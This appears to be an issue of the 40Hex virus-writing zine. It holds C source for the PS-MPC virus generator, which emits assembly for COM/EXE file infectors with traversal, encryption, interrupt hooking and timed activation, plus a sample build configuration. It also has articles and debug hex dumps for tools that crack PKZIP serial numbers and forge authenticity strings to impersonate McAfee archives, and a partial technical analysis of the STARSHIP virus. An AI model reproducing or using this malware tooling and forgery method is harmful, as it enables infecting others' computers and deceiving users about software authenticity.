config.maxinfect = (unsigned char)getnumber(line,d,0,0);
else if (!stricmp(c,"errorhandler"))
config.p.int24 = getyn(line,d);
else if (!stricmp(c,"commandcom"))
config.p.CommandCom = getyn(line,d);
else if (!stricmp(c,"virusname"))
getDBname(d,config.virusname,&config.virusnamedelim);
else if (!stricmp(c,"authorname"))
getDBname(d,config.authorname,&config.authornamedelim);
else if (!stricmp(c,"allowzero"))
config.p.allowzero = getyn(line,d);
else if (!stricmp(c,"always")) {
config.activate.always = getyn(line,d);
if (config.activate.always) config.activation++;
}
else if (!stricmp(c,"ifmonth"))
parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"month");
else if (!stricmp(c,"ifday"))
parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day");
else if (!stricmp(c,"ifyear"))
{
config.activate.year = getnumber(line,d,'+',d);
setplusminus((char *)&config.plusminus.year,*d);
config.activation++;
}
else if (!stricmp(c,"ifdow"))
parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of week");
else if (!stricmp(c,"ifmonthday"))
{
int tempint;
char temp=(char)getnumber(line,d,',',d);
if ((temp < 1) || (temp > 12))
printf("Invalid month: %d. Must range between 1 and 12.\n",temp);
else {
d++;
tempint = temp*0x100;
temp=(char)getnumber(line,d,'+',d);
if ((temp < 1) || (temp > 31))
{
printf("Invalid day: %d. Must range between 1 and 31.\n",temp);
} else {
config.activate.monthday=tempint + temp;
setplusminus((char *)&config.plusminus.monthday,*d);
config.activation++;
}
}
}
else if (!stricmp(c,"ifhour"))
parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour");
else if (!stricmp(c,"ifminute"))
parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"minute");
else if (!stricmp(c,"ifsecond"))
parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"second");
else if (!stricmp(c,"percentage"))
parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage");
else if (!isspace(c))
printf("Error in line %d: Invalid parameter '%s'.\n",line,c);
}
}
unsigned int getnumber(int line,char *d,char ok,char *next)
{
int temp = 0;
while (isdigit(*d))
{
temp*=10;
temp+=(*d-'0');
d++;
}
if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d))
printerror(line,*d);
else
if (next) *next=*d;
return temp;
}
char getyn(int line,char *d)
{
switch (toupper(*d))
{
case 'Y' : return 1;
case 'N' : return 0;
default : printerror(line,*d);
}
return 0;
}
void setplusminus(char *a, char b)
{
if (b == '+')
*a = 1;
else if (b == '-')
*a = -1;
else
*a = 0;
}
void parseactivate(int line, char *d, char min, char max, char *a, char *b, char *s)
{
char *c=d;
char temp = (char)getnumber(line,d,'+',c);
if ((temp < min) || (temp > max))
printf("Invalid %s specified: %d. Range must be between %d & %d.\n",s,temp,min,max);
else {
*a = temp;
if (b != 0) setplusminus(b,*c);
config.activation++;
}
}
void printerror(int line, char c)
{
printf("Error in line %d: Invalid character '%c'.\n",line,c);
}
void printblank(void)
{
fprintf(fp,"\n");
}
void getDBname(char *orig, char *name,char *delim)
{
*delim = '\'';
orig[strlen(orig)-1] = 0;
if (strchr(orig,'\''))
if (strchr(orig,'\"')) {
*delim = 0;
printf("Error in %s: Both single and double quotes used.",orig);
}
else
*delim = '\"';
if (*delim)
strcpy(name,orig);
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VMESSAGE.C */
#include "vheader.h"
void code_messages(void)
{
char b[80];
addvar("creator","db '[MPC]',0","Mass Produced Code Generator");
if (config.virusname[0]) {
sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname,
config.virusnamedelim);
addvar("virusname",b,"");
}
if (config.authorname[0]) {
sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname,
config.authornamedelim);
addvar("author",b,"");
}
printblank();
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VRETURN.C */
#include "vheader.h"
void return_EXE(void);
void return_COM(void);
void code_return(void)
{
char s[80];
if (config.activation)
printlabel("exit_virus:","");
if (config.p.int24)
{
print("mov ax,2524h","Restore int 24 handler");
print("lds dx,[bp+offset oldint24]","to original");
print("int 21h","");
print("push cs","");
print("pop ds","");
printblank();
}
if (config.p.traverse == DOT_DOT) {
print("mov ah,3bh","change directory");
print("lea dx,[bp+origdir-1]","original directory");
print("int 21h","");
printblank();
}
print("mov ah,1ah","restore DTA to default");
print("mov dx,80h","DTA in PSP");
if (config.p.infectEXE)
{
if (config.p.infectCOM)
{
print("cmp sp,id-4","EXE or COM?");
print("jz returnEXE","");
printlabel("returnCOM:","");
return_COM();
printlabel("returnEXE:","");
return_EXE();
} else /* EXE only */
{
return_EXE();
}
} else
{
return_COM();
addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
}
printblank();
}
void return_EXE(void)
{
print("pop es","");
print("pop ds","");
print("int 21h","");
print("mov ax,es","AX = PSP segment");
print("add ax,10h","Adjust for PSP");
print("add word ptr cs:[bp+jmpsave+2],ax","");
print("add ax,word ptr cs:[bp+stacksave+2]","");
print("cli","Clear intrpts for stack manipulation");
print("mov sp,word ptr cs:[bp+stacksave]","");
print("mov ss,ax","");
print("sti","");
print("db 0eah","jmp ssss:oooo");
addvar("jmpsave","dd ?","Original CS:IP");
addvar("stacksave","dd ?","Original SS:SP");
if (config.p.infectCOM) {
addvar("jmpsave2","db ?","Actually four bytes");
addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
} else
addvar("jmpsave2","dd 0fff00000h","Needed for carrier file");
addvar("stacksave2","dd ?","");
}
void return_COM(void)
{
print("int 21h","");
print("retn","100h is on stack");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VSETUP.C */
#include "vheader.h"
void restore_COM(void);
void restore_EXE(void);
void code_setup(void)
{
addheap("buffer","db 1ah dup (?)","read buffer");
if (!config.p.encrypt)
printlabel("startvirus:","virus code starts here");
print("call next","calculate delta offset");
printlabel("next: pop bp","bp = IP next");
print("sub bp,offset next","bp = delta offset");
printblank();
if (config.p.infectEXE)
{
if (config.p.infectCOM) /* COM & EXE */
{
print("cmp sp,id","COM or EXE?");
print("je restoreEXE","");
printlabel("restoreCOM:","");
restore_COM();
print("jmp short restoreEXIT","");
printlabel("restoreEXE:","");
restore_EXE();
printlabel("restoreEXIT:","");
print("movsw","");
} else /* EXE ONLY */
restore_EXE();
} else
restore_COM();
printblank();
if (config.maxinfect)
{
char b[80];
addheap("numinfec","db ?","Infections this run");
sprintf(b,"mov byte ptr [bp+numinfec],%u",config.maxinfect);
print(b,"reset infection counter");
printblank();
}
print("mov ah,1Ah","Set new DTA");
print("lea dx,[bp+newDTA]","new DTA @ DS:DX");
print("int 21h","");
printblank();
addheap("newDTA","db 43 dup (?)","Temporary DTA");
if (config.p.traverse == DOT_DOT)
{
print("mov ah,47h","Get current directory");
print("mov dl,0","Current drive");
print("lea si,[bp+origdir]","DS:SI->buffer");
print("int 21h","");
print("mov byte ptr [bp+backslash],'\\'","Prepare for later CHDIR");
addheap("origdir","db 64 dup (?)","Current directory buffer");
addheap("backslash","db ?","");
printblank();
}
if (config.p.int24)
{
addheap("oldint24","dd ?","Storage for old int 24h handler");
print("mov ax,3524h","Get int 24 handler");
print("int 21h","to ES:BX");
print("mov word ptr [bp+oldint24],bx","Save it");
print("mov word ptr [bp+oldint24+2],es","");
print("mov ah,25h","Set new int 24 handler");
print("lea dx,[bp+offset int24]","DS:DX->new handler");
print("int 21h","");
print("push cs","Restore ES");
print("pop es","'cuz it was changed");
printblank();
}
}
void restore_EXE(void)
{
print("push ds","");
print("push es","");
print("push cs","DS = CS");
print("pop ds","");
print("push cs","ES = CS");
print("pop es","");
print("lea si,[bp+jmpsave2]","");
print("lea di,[bp+jmpsave]","");
print("movsw","");
print("movsw","");
print("movsw","");
if (!config.p.infectCOM)
print("movsw","");
}
void restore_COM(void)
{
print("lea si,[bp+save3]","");
print("mov di,100h","");
print("push di","For later return");
if (!config.p.infectEXE)
print("movsw","");
print("movsb","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VSUBS.C */
#include "vheader.h"
void code_subroutines(void)
{
printlabel("open:","");
print("mov ah,3dh","");
print("lea dx,[bp+newDTA+30]","filename in DTA");
print("int 21h","");
print("xchg ax,bx","");
print("ret","");
printblank();
printlabel("attributes:","");
print("mov ax,4301h","Set attributes to cx");
print("lea dx,[bp+newDTA+30]","filename in DTA");
print("int 21h","");
print("ret","");
printblank();
if (config.p.encrypt)
{
printlabel("write:","");
print("pop bx","Restore file handle");
print("pop bp","Restore relativeness");
print("mov ah,40h","Write to file");
print("lea dx,[bp+decrypt]","Concatenate virus");
print("mov cx,heap-decrypt","# bytes to write");
print("int 21h","");
print("push bx","");
print("push bp","");
printlabel("endwrite:","");
printblank();
}
if (config.p.int24)
{
printlabel("int24:","New int 24h (error) handler");
print("mov al,3","Fail call");
print("iret","Return control");
printblank();
}
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VTAIL.C */
#include "vheader.h"
void code_tail(void)
{
if (config.p.infectCOM)
printlabel("end entry_point","");
else
if (config.p.encrypt)
printlabel("end decrypt","");
else
printlabel("end startvirus","");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VTRAVEL.C */
#include "vheader.h"
void code_traversal_generic(void);
void dot_dot(void);
void lea_exe(void);
void lea_com(void);
void code_traversal(void)
{
config.p.calls_check = 0;
switch (config.p.traverse)
{
case NONE: code_traversal_generic(); break;
case DOT_DOT: printlabel("dir_scan:","\"dot dot\" traversal");
code_traversal_generic();
dot_dot();
break;
}
printblank();
printlabel("done_infections:","");
}
void code_traversal_generic(void)
{
if (config.p.infectEXE) {
lea_exe();
if (!config.p.infectCOM)
code_check();
}
if (config.p.infectCOM) {
lea_com();
if (config.p.infectEXE)
config.p.calls_check++;
else
code_check();
}
}
void lea_exe(void)
{
print("lea dx,[bp+exe_mask]","");
if (config.p.infectCOM)
print("call infect_mask","");
}
void lea_com(void)
{
print("lea dx,[bp+com_mask]","");
if (config.p.infectEXE)
print("call infect_mask","");
}
void dot_dot(void)
{
print("mov ah,3bh","change directory");
print("lea dx,[bp+dot_dot]","\"cd ..\"");
print("int 21h","");
print("jnc dir_scan","go back for mo!");
}
----------------------------------- Cut Here ----------------------------------
/* FILE: VVAR.C */
#include "vheader.h"
void code_variables(void)
{
if (config.p.infectEXE) addvar("exe_mask","db '*.exe',0","");
if (config.p.infectCOM) addvar("com_mask","db '*.com',0","");
if (config.p.traverse == DOT_DOT)
addvar("dot_dot","db '..',0","");
}
----------------------------------- Cut Here ----------------------------------
; FILE: SKELETON.CFG
; Skeleton configuration file for PS-MPC version 0.90?
; Lines beginning with semicolons denote comments
; Required parameters:
; Filename = <string>
; This is the filename to be generated by PS-MPC as the source code file.
Filename = target.asm
; Infect = (C,E)
; COM, EXE
; Note: You can mix the two, a la "Infect = C,E" Do not use a space to
; deliminate the two parameters.
Infect = C,E
; Optional parameters - Defaults are shown in square brackets
; Traversal = <N,D>
; ([None], Dot Dot)
; If None is specified, then only the files in the current directory will be
; infected. If Dot dot is specified, then files in the current directory and
; subdirectories below the current will be infected.
Traversal = N
; Encrypted = <Y,N>
; (Yes, [No])
; Only turn off encryption if you wish to limit the size of the virus.
Encryption = Y
; IDWord = XX
; ([ ],XX)
; The IDWord consists of two characters which are used to identify already
; infected EXE files. This line is not needed in COM-only infectors. Do
; not use an apostrophe or the source code will not assemble properly.
IDWord = DA
; MinSize = #
; (A,[0]..65535)
; MinSize is used only in the infection of COM files. Files under MinSize
; bytes are not infected. MinSize = 0 turns off this option. MinSize = A
; indicates use of the virus's effective length as the minimum size. This
; line is ignored in EXE-specific infectors.
MinSize = 0
; MaxSize = #
; (A,[0]..65535)
; MaxSize is used only in the infection of COM files. Files above MaxSize
; bytes are not infected. MaxSize = 0 turns off this option. MaxSize = A
; indicates automatic calculation of maximum size. This line is not needed
; in EXE-only infectors.
MaxSize = A
; Infections = #
; ([0]..255)
; Infections is an optional counter limiting the number of infections per run
; of the virus to a specific number. Infections = 0 disables this option.
Infections = 0
; ErrorHandler = <Y,N>
; (Yes, [No])
; ErrorHandler selects if you wish to include a short critical error handler
; in the virus. This handler prevents Abort, Retry, Fail messages by taking
; over the critical error interrupt. Attempted infection of files on write-
; protected diskettes will not generate an error if this option is set.
ErrorHandler = Y
; CommandCom = <Y,N>
; (Yes, [No])
; This flag indicates whether you wish the virus to infect COMMAND.COM
; 'Yes' turns off the check for COMMAND.COM, thus saving space.
CommandCom = N
; VirusName = <string>
; The only limitation to the string is that you may not use both the single
; and double quotes together in the string, i.e. the string B'li"p is not
; legal.
VirusName = [Skeleton]
; AuthorName = <string>
; The same constraints apply to AuthorName.
AuthorName = Deke
; AllowZero = <Y,N>
; (Yes, [No])
; This flags whether the virus will allow an encryption value of 0, which
; would effectively leave it in an unencrypted state. 'Yes' disables the
; zero check, thereby shortening code length.
AllowZero = N
; Activation Conditions
; All conditions must be satisfied for activation to occur
; Always = <Y,N>
; (Yes, [No])
; This flags whether the virus always activates, although I can't imagine a
; useful virus that does so.
; Always = N
; IfMonth = #
; <1..12><-,+>
; Activate if the month is equal to the specified number. Adding a minus sign
; after the month indicates activation before or during the specified month.
; Adding a plus sign after the month indicates activation during or after the
; specified month.
; IfMonth = 11+ ; Activate in either November or December
; IfDay = #
; <1..31><-,+>
; Activate if the date is on a certain date Adding a minus sign after the day
; indicates activation on or before that day. Similarly, adding a plus sign
; indicates activation on or after that day. Note: the program does not check
; to see if the number inputted is a valid date. For example, combining
; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will
; clearly never activate.
; IfDay = 15+ ; Activate after the fifteenth of the month
; IfYear = #
; <0..65535><-,+>
; Activate during a certain year or years. Don't be stupid and put a
; ridiculous year such as 1-.
; IfYear = 1993+ ; Activate after 1993
; IfDOW = #
; <0..6><-,+>
; 0 = Sunday, 1 = Monday, etc.
; Activate on, before, or after a particular day of the week.
; IfDOW = 0 ; Activate only on Sundays
; IfMonthDay = #,#
; <#,#><-,+>
; Activate on, before, or after a particular day of the year. This differs
; from the combination of IfMonth and IfDay.
; IfMonthDay = 5,9+ ; Activate only after May 9th
; compare to:
; IfMonth = 5+ ; Activate in May through December, but only if the
; IfDay = 9+ ; day is on or after the 8th. July 1st is NOT an
; activation date
; IfHour = #
; <0..23><-,+>
; This should be self-explanatory at this point.
; IfHour = 12 ; Activate any time from 12 noon -> 1 P.M.
; IfMinute = #
; <0..59><-,+>
; Duh.
; IfMinute = 30+
; IfSecond = #
; <0..59><-,+> ;; check 0
; This is somewhat useless, in my estimation
; IfSecond = 30+
; Percentage = #
; <1..99>
; This uses the 1/100 second counter as a random number. If the counter is
; less than the percentage, then the virus will activate.
; Percentage = 50 ; Even odds
--------------------------------- Stop Cutting --------------------------------
40Hex Number 8 Volume 2 Issue 4 File 002
-=-=-=-=-=-=-
Eat PUTAV
by Demogorgon of PHALCON/SKISM
-=-=-=-=-=-=-
Even though pk-zip 2.0 will be out soon and all the methods in
this article will be obsolete, I decided to write about them anyway. I
am sure you are familiar with the old program called makeav, which
attempted to brute force hack pkzip registration serial numbers. Sure,
it worked, but it was quite slow. Then, Hal released the program
findav, which did the same task several thousand times faster. Dark
Angel took apart the program findav in order to make a few
modifications. Naturally, Hal included several routines in his code in
order to make it very difficult to take apart. Dark Angel captured a
memory image of findav after it loaded into memory, wrote it back to
disk as a com file, and then changed all of the offsets so that all
references to the data segment were changed to their address in the code
segment. Dark Angel made several modifications, the most important of
which was so that findav would not quit out after finding a serial
number. The new version finds every serial number, and logs them to
disk.
-=-=-=-=-=-=-
An Experiment in Distributed Processing
-=-=-=-=-=-=-
The next day, Garbageheap and I took the modified findav down to
the nearest university. We started it running on twenty 80386 systems
on their network, each working on a different segment of the 4 billion
possible serial numbers. The goal was to find every serial number that
worked for McAfee Associates, so that we could then determine which one
was the one he uses. When an authenticity verified pkzip file is
extracted, pkunzip generates a 3 letter, 3 number validation string that
is dependent on the serial number used to validate it. A single
registration name has millions of valid serial numbers, but each of
these serial numbers has one unique validation string.
For Example:
PKUNZIP (R) FAST! Extract Utility Version 1.1 03-15-90
Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
PKUNZIP Reg. U.S. Pat. and Tm. Off.
Searching ZIP: EARLOBE.ZIP
Exploding: NUL -AV
Authentic files Verified! # ATU314 Zip Source: McAFEE ASSOCIATES
^^^^^^
PKUNZIP (R) FAST! Extract Utility Version 1.1 03-15-90
Copr. 1989-1990 PKWARE Inc. All Rights Reserved. PKUNZIP/h for help
PKUNZIP Reg. U.S. Pat. and Tm. Off.
Searching ZIP: EARLOBE.ZIP
Exploding: NUL -AV
Authentic files Verified! # SXQ414 Zip Source: McAFEE ASSOCIATES
^^^^^^
Therefore, the task was to find which of the serial numbers we had
found for McAfee produces the validation string "NWN405". To do this,
we ran every serial number through a program called checkav which Dark
Angel wrote to determine what validation number corresponds to which
serial number. Of course, a task like this would be nearly impossible
on your machine at home, but thanks to my local university, we were able
to use twenty machines at once.
-=-=-=-=-=-=-
Yet Another Way To Eat PUTAV
-=-=-=-=-=-=-
Because there is never only one way to do something, I decided to
put in another way to get whatever validation string you want out of
pkzip. All you need to do is include some ^H characters in your
registration name to backspace over the validation string and create a
new one. Naturally, you can not enter ^H characters when you run
putav, so you enter the correct number of some other character, go
into memory with td, and change them to 08h, the ^H character. That
way, when pkunzip runs and gives you a validation string, it will
backspace over it and show your own. For example:
>>>>> PUTAV.EXE
PUTAV - Put Authenticity Verification in PKZIP.EXE
Copyright 1990 PKWARE, Inc. All rights reserved.
Enter company name exactly as it appears on the PKWARE documentation.
Company Name : ^A^A^A^A^A^A^A^A^A^A^A# BOB666 Earlobe industries
Enter serial number exactly as it appears on the PKWARE documentation.
Serial Number: 23453244
>>>>>
After typing earlobe industries and hitting return, break into
turbo debug and change the ^A's (01) to ^H's (08). Remember to put in
11 backspaces. You can use the same method to find the serial number for
your string with findav.
The only useful application of all this is to duplicate an existing
pkzip registration. You could do that before, but now you can do it
better. Changing the validation string only really makes a difference
if you are trying to duplicate an archive that is known to have a certain
one, like McAfee's.
40Hex Number 8 Volume 2 Issue 4 File 003
-=PHALCON/SKISM=- Presents FindAv P/S Style!
PD War Collection Program 2
By Hal Of Pheonix
Modified by: Dark Angel of PHALCON/SKISM
FindAV version 1.5
Released 27 Jul 92
By Dark Angel of PHALCON/SKISM
In the beginning, there was MakeAV and all its counterparts. These programs
used a brute-force approach to find PKZIP serial numbers. They ran PUTAV,
PKZIP, and PKUNZIP repeatedly until a legitimate serial number was found.
Although they worked, these programs required hours, often days of running, as
well as much wear and tear on the hard drive head. Then FindAV was released
by HAL of PHOENIX.
FindAV was many, many times faster than MakeAV. Instead of running the PKWare
files over and over again, FindAV used an algorithmic approach similar to the
one used by PKWare when calculating serial numbers for registered clients. It
was a marvelous program, but it, too, had its limitations. The continual
display of numbers was aesthetically pleasing, but it took much valuable
processor time, slowing down the search for the holy serial number. E-FindAV
was released, once again speeding the search time by a large factor. E-FindAV
monitored the running of FindAV, turning off the display until the serial
number was found. This was a tremendous improvement. However, the user had
to sit through a tedious, lengthy, entirely unecessary introduction screen
before E-FindAV would execute FindAV. This was unacceptable. Additionally,
E-FindAV failed to fix some fundamental problems with FindAV.
For one, FindAV stopped after finding the first serial number. While this is
fine for most people, it is not desirable when finding existing serial
number/validation string combinations. Second, FindAV had a few bugs. The
first bug occured only in 386 mode. FindAV would "miss" some legitimate
serial numbers which it would catch in 8086 mode. This was, once again,
undesirable when looking for existing serial number/validation string
combinations. FindAV would also run into an infinite loop in certain
instances in 8086 mode. This, too, was unacceptable. Third, FindAV would not
log the serial numbers found in a file. Thus, the user had to manually copy
the number onto a sheet of paper and transfer it to a file for later
reference. Fourth, FindAV would not let the user start searching for a serial
number from any number except 1000. If the user wished to find starting from,
say, 2 billion, he or she would be forced to create a MAKEAV.DAT file and
hex-edit the appropriate values. Last, both FindAV and E-FindAV used
rudimentary disassembly-proof code which precluded users from adding features
to the program.
FindAV version 1.5 fixes these problems. It is essentially the same program
as the originally released version by HAL of PHOENIX, but with all the fixes
and enhancements mentioned above.
Command line options:
/B - begin at number
You can now start the search from any number, be it 0, 4,294,967,295 or
anything in between. This serves several purposes. Should the data file be
corrupted, it is not necessary to hexedit the data file to restart from the
last position. This option also facilitates the coordinated running of FindAV
on multiple machines. In this manner, each machine can start the search at a
different point. The value following the /B overrides the value in the
FindAV.DAT data file.
Syntax:
FindAV /B ###
Example:
FindAV /B 478293
/S - supress output
Searches may be expedited somewhat with this supress output option. This
eliminates the unecessary on-screen reporting of a sucessful finding. Logging
via the AVS.DAT file is preserved. The 'D'isplay command continues to function
under this mode.
Syntax:
FindAV /S
Valid keystrokes in FindAV:
ESC - Terminate calculation
Pressing the ESC key causes FindAV to terminate after saving the status of the
run in FindAV.DAT.
'D' - Display
Pressing the 'D' key causes FindAV to display the current search number on the
screen. This function was originally part of the main loop. However, it
consumed countless clock cycles, so it was eliminated to save precious time.
Files created by FindAV 1.5:
AVS.DAT - log file
The AVS.DAT file is created by FindAV. FindAV uses this file to record all
sucessful serial number finds. It consists of the company name followed by
multiple lines of serial numbers. If FindAV detects the file in the directory,
it will append serial numbers to the end.
FINDAV.DAT - save file
The FindAV.DAT file is created by FindAV when the user terminates calculation. It contains the company name as well as the current search number. It is useful when the user does not wish to search an entire range in one running. FindAV will automatically resume operation if it detects FindAV in the current directory.
FindAV 1.5 has data file compatability with version 1.0.
Revision history:
1.0 - Unknown - HAL of PHOENIX
- initial release
1.5 - 27 Jul 92 - Dark Angel of PHALCON/SKISM
- Bug fixes, peephole optimisation, log file, nonstop action, anynumber
begin.
-------------------------------------------------------------------------------
n findav15.com
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e 0900 72 61 6D 65 74 65 72 3A 20 2F 00 0D 0A 24 50 61
e 0910 72 61 6D 65 74 65 72 73 20 61 72 65 3A 0D 0A 2F
e 0920 3F 20 20 20 20 20 20 20 20 20 20 44 69 73 70 6C
e 0930 61 79 20 74 68 69 73 20 73 63 72 65 65 6E 0D 0A
e 0940 2F 42 20 23 23 23 23 23 20 20 20 20 42 65 67 69
e 0950 6E 20 61 74 20 23 23 23 23 23 0D 0A 2F 53 20 20
e 0960 20 20 20 20 20 20 20 20 73 75 70 70 72 65 73 73
e 0970 20 6F 75 74 70 75 74 0D 0A 24 1A 1A 1A 1A 1A 1A
rcx
097F
w
q
-------------------------------------------------------------------------------
40Hex Number 8 Volume 2 Issue 4 File 004
-=PHALCON/SKISM=- Presents CheckAv
PD War Collection Program 3
By Dark Angel
Once again, not an incredibly impressive program, but it is still
quite useful. It PutAv's a serial number, pkzips a test file, with the
pkzip -! option, then unzips it. It logs the line that has serial
number. This program requires pkzip, pkunzip, putav and avs.dat from
findav15.
It is a very crude program, but it was done in quite a hurry, as
I am going away for a while. Run it in a RAM disk, as it is much
better!
-------------------------------------------------------------------------------
n checkav.com
e 0100 BA F7 02 B4 4A BB 00 10 CD 21 72 34 BA 83 02 E8
e 0110 6C 01 BA 14 03 E8 66 01 B4 0A BA 9A 04 CD 21 BA
e 0120 3C 03 80 3E 9A 04 00 74 76 BB 9C 04 8B D3 A0 9B
e 0130 04 98 03 D8 C6 07 00 B8 00 3D CD 21 BA 5E 03 93
e 0140 72 5D B4 3F B9 3C 00 BA BC 04 CD 21 87 D7 BA 7D
e 0150 03 0B C0 74 4A B8 00 42 33 C9 99 CD 21 FC BA 9F
e 0160 03 B9 3C 00 B0 0D F2 AE 0B C9 74 33 BA D3 03 E8
e 0170 0C 01 4F C6 05 24 BA BC 04 E8 02 01 C6 05 0D 8B
e 0180 D7 81 EA BA 04 89 16 F8 04 B8 00 42 33 C9 CD 21
e 0190 BA D6 02 E8 E8 00 BA 82 04 E8 BA 00 E8 13 00 E8
e 01A0 DC 00 B4 41 BA 8A 04 CD 21 B4 41 BA 8F 04 CD 21
e 01B0 CD 20 B4 3F B9 0D 00 BA EF 03 CD 21 0B C0 74 3A
e 01C0 BA E5 03 E8 B8 00 E8 A2 00 E8 32 00 BE EF 03 BF
e 01D0 09 04 B9 0B 00 F3 A4 BE 03 04 E8 52 00 E8 8B 00
e 01E0 BE 20 04 E8 49 00 E8 82 00 BE 34 04 E8 40 00 E8
e 01F0 79 00 BE 51 04 E8 37 00 EB B8 BA B8 03 C3 53 B4
e 0200 3C BA FE 03 33 C9 CD 21 93 B4 40 8B 0E F8 04 49
e 0210 BA BC 04 CD 21 B4 40 B9 0C 00 BA EF 03 CD 21 B4
e 0220 40 B9 01 00 BA FD 03 CD 21 B4 3E CD 21 5B C3 50
e 0230 53 51 52 1E 06 55 57 89 26 FC 04 8C 16 FA 04 CD
e 0240 2E FA 2E 8E 16 FA 04 2E 8B 26 FC 04 FB 5F 5D 07
e 0250 1F 5A 59 5B 58 C3 53 B8 00 3D CD 21 73 06 B4 3C
e 0260 33 C9 CD 21 93 B4 3E CD 21 5B C3 B4 06 B2 FF CD
e 0270 21 74 0A 3C 1B 75 06 BA D9 02 E9 22 FF C3 B4 09
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e 03B0 61 6C 69 64 2E 0D 0A 24 0D 0A 43 68 65 63 6B 41
e 03C0 56 20 72 75 6E 20 63 6F 6D 70 6C 65 74 65 64 2E
e 03D0 0D 0A 24 0D 0A 0D 0A 54 65 73 74 69 6E 67 20 66
e 03E0 6F 72 3A 20 24 43 68 65 63 6B 69 6E 67 20 23 00
e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 24 1B 74 65
e 0400 73 74 00 1B 65 63 68 6F 20 00 00 00 00 00 00 00
e 0410 00 00 00 00 20 3E 3E 20 72 65 73 75 6C 74 73 0D
e 0420 12 70 75 74 61 76 20 3C 20 74 65 73 74 20 3E 20
e 0430 6E 75 6C 0D 1B 70 6B 7A 69 70 20 2D 21 6F 20 74
e 0440 6F 6D 72 6F 74 20 74 65 73 74 20 3E 20 6E 75 6C
e 0450 0D 2F 70 6B 75 6E 7A 69 70 20 74 6F 6D 72 6F 74
e 0460 20 2D 74 20 7C 20 66 69 6E 64 20 22 41 75 74 68
e 0470 65 6E 74 69 63 22 20 3E 3E 20 72 65 73 75 6C 74
e 0480 73 0D 72 65 73 75 6C 74 73 00 74 65 73 74 00 74
e 0490 6F 6D 72 6F 74 2E 7A 69 70 00 20 1A 1A 1A 1A 1A
rcx
049F
w
q
-------------------------------------------------------------------------------
40Hex Number 8 Volume 2 Issue 4 File 005
STARSHIP - interesting file-boot virus.
Muttik I.G.
(Internet: MIG@politon.msk.su)
KEYWORDS
Virus, DOS, executable file, masterboot record,
resident in memory, encryption.
ABSTRACT
STARSHIP virus (file and boot simultaneously) is described. It
infects IBM PC and compatibles running DOS. Virus is called
STARSHIP : this string can be easily found in the memory dump
of virus. Virus infects masterboot record on harddisk and
executable files files created on floppy drives. The virus is
encrypted. Infected executable files have no descriptor longer
than 2 bytes. Virus appears to have no destructive code, it
uses music and video effects when active. The abnormal
operation of the infected computers was sometimes detected.
INTRODUCTION
History of computer viruses is very short. The first
known publications are dated with 1984-1985 [1,2]. But now
situation in this field changes every day - uncountable number
of various computer viruses are known at present in DOS
operating system. The variety of known viruses is fantastic,
but all of them falls into three known categories: file,
boot [3,4] and cluster. Active area of the first virus type is
executable files and of the second type - boot records on
harddisks and diskettes. The third category is not yet over-
populated, the only representative is bulgarian DIR-II virus.
Probably the first virus which infects files and boot
sectors was Ghost virus [5]. This virus was discovered by
Fridrik Skulason at Icelandic University. Ghost virus infects
only COM files. This virus increases file size by 2351 bytes.
When active the Ghost replaces boot sector of infected system
with a boot virus similar to Ping Pong, but this boot virus
does not have infection routine. The Ghost virus,
consequently, may be considered as a file virus with unusual
active phase. After some time appeared Virus-101, Frodo and,
finally, a bunch of new viruses was found: Thanksgiving virus
(V-1), TEQUILA and STARSHIP (these type of viruses is
sometimes called "multi-partite").
STARSHIP virus was found in Moscow in January 1991.
Probably this virus was written in the USSR.
The living cycle of STARSHIP virus is the following. When
infected file is started it modifies masterboot record (MBR)
on the harddisk and writes virus on the disk. Thereafter, when
computer reboots, virus intercepts interrupt vectors 13h (low-
level disk I/O) and 21h (DOS service). During the reboot virus
is stored in the videomemory at address BB00:0. It is moved to
the core RAM later, when the first program terminates. Now it
stays resident and infects any COM/EXE file created on floppy
drives.
1. GENERAL DESCRIPTION
Length of STARSHIP virus in memory is 2688 bytes. Size of
code is 2560 bytes, buffers and variables takes the remainder.
On harddisk virus takes 3072 bytes (6 sectors * 512 bytes).
Virus layout is shown in Table.1 and its memory dump
(fragmentary) is presented in Figure.1. (NOTE: All dumps
presented is the article are partial in order to prevent the
possibility to use for generation of new viruses.)
No text messages except one string ">STARSHIP_1<" of
length 12 (found only in memory) were discovered. This string
can be found only in memory, because virus is stored on disk
and in the infected file in encrypted form.
Normally virus stays resident and the size of used memory
block is B00h=2816. The beginning of this memory block is the
Program Segment Prefix (PSP) of program that triggered the
installation of virus in the core RAM. Really virus is started
at offset 80h in this PSP (consequently, the real virus size
is: B00h-80h=A80h=2688 bytes).
Virus uses standard interrupts 13h, 20h, 21h, 27h and
creates its own interrupts F9h and FCh (see later). When virus
is already resident (installed in the core RAM) it uses only
13h and 21h vectors. Entry points of both interrupt handlers
can be easily found (CS:005F and CS:00C5; here CS represents
the code segment where virus resides).
In the memory dump of virus one can found the buffer for
the filename (see ASCIIZ= 'B:\TMP\DROZFILA.COM' at CS:000D in
Fig.1).
Virus extensively uses its internal random number
generator. The random number seed is taken from BIOS timer
variable (0:46Ch). Random generator is used for the
demonstration of video effect and while creating the infected
file (change of size is random and virus code is encrypted
using random number). The word "random" may be a real motto of
the described virus - it uses random number generator very
frequently.
The part of virus memory image is encrypted using XOR
function (approximately 60% of total virus size). This section
is decrypted and used only while infecting files (section is
marked in Table.1 with the box). After infection of each file
